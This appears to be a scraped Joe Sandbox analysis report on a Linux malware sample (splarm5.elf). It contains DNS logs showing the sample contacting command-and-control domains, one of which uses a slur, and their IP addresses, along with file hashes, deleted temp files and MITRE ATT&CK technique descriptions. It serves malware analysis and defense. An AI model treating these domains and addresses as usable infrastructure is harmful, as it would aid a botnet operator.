Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 07:59:10.325942993 CET	51.158.108.203	192.168.2.15	0x2362	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:59:11.366404057 CET	51.158.108.203	192.168.2.15	0x6154	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:59:12.398472071 CET	194.36.144.87	192.168.2.15	0x24	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:59:23.783802032 CET	202.61.197.122	192.168.2.15	0x5d18	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:59:23.783802032 CET	202.61.197.122	192.168.2.15	0x5d18	No error (0)	yellowchink.pirate		45.156.86.26	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:59:35.639343023 CET	202.61.197.122	192.168.2.15	0x97d6	No error (0)	yellowchink.pirate		45.156.86.26	A (IP address)	IN (0x0001)	false
Oct 28, 2024 07:59:35.639343023 CET	202.61.197.122	192.168.2.15	0x97d6	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:00:00.496783972 CET	194.36.144.87	192.168.2.15	0xe431	Format error (1)	burnthe.libre. [malformed]	none	none	256	368	false
Oct 28, 2024 08:00:25.307226896 CET	81.169.136.222	192.168.2.15	0xd5fc	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:00:37.430430889 CET	185.181.61.24	192.168.2.15	0x6f5d	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 28, 2024 08:00:38.464572906 CET	51.158.108.203	192.168.2.15	0xa891	Format error (1)	netfags.geek. [malformed]	none	none	256	406	false
Oct 28, 2024 08:00:39.496128082 CET	51.158.108.203	192.168.2.15	0xc10f	Format error (1)	yellowchink.pirate. [malformed]	none	none	256	407	false

Start time (UTC):	06:59:08
Start date (UTC):	28/10/2024
Path:	/tmp/splarm5.elf
Arguments:	/tmp/splarm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	06:59:09
Start date (UTC):	28/10/2024
Path:	/tmp/splarm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splarm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0EK4ml (deleted)

/tmp/qemu-open.11psJm (deleted)

/tmp/qemu-open.1jURmk (deleted)

/tmp/qemu-open.1kquNl (deleted)

/tmp/qemu-open.2qveIm (deleted)

/tmp/qemu-open.3XBYSl (deleted)

/tmp/qemu-open.3uobvk (deleted)

/tmp/qemu-open.4DheIl (deleted)

/tmp/qemu-open.4OcEon (deleted)

/tmp/qemu-open.4Ufvdm (deleted)

/tmp/qemu-open.4rV3in (deleted)

/tmp/qemu-open.6FXwHn (deleted)

/tmp/qemu-open.7NW5fl (deleted)

/tmp/qemu-open.7d9Rrl (deleted)

/tmp/qemu-open.7lErGm (deleted)

/tmp/qemu-open.8TBAll (deleted)

/tmp/qemu-open.95tPek (deleted)

/tmp/qemu-open.9vbnFn (deleted)

/tmp/qemu-open.As4kHm (deleted)

/tmp/qemu-open.CtCk7m (deleted)

/tmp/qemu-open.DIjCRj (deleted)

/tmp/qemu-open.EcvgBk (deleted)

/tmp/qemu-open.Fzz6Pm (deleted)

/tmp/qemu-open.H5tlum (deleted)

/tmp/qemu-open.HDkB5j (deleted)

/tmp/qemu-open.HZJ3yl (deleted)

/tmp/qemu-open.Hx0MRn (deleted)

/tmp/qemu-open.Il7p3n (deleted)

/tmp/qemu-open.JNMm5k (deleted)

/tmp/qemu-open.JlwwLn (deleted)

/tmp/qemu-open.JmU4bk (deleted)

/tmp/qemu-open.KIphPl (deleted)

Linux Analysis Report
splarm5.elf

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre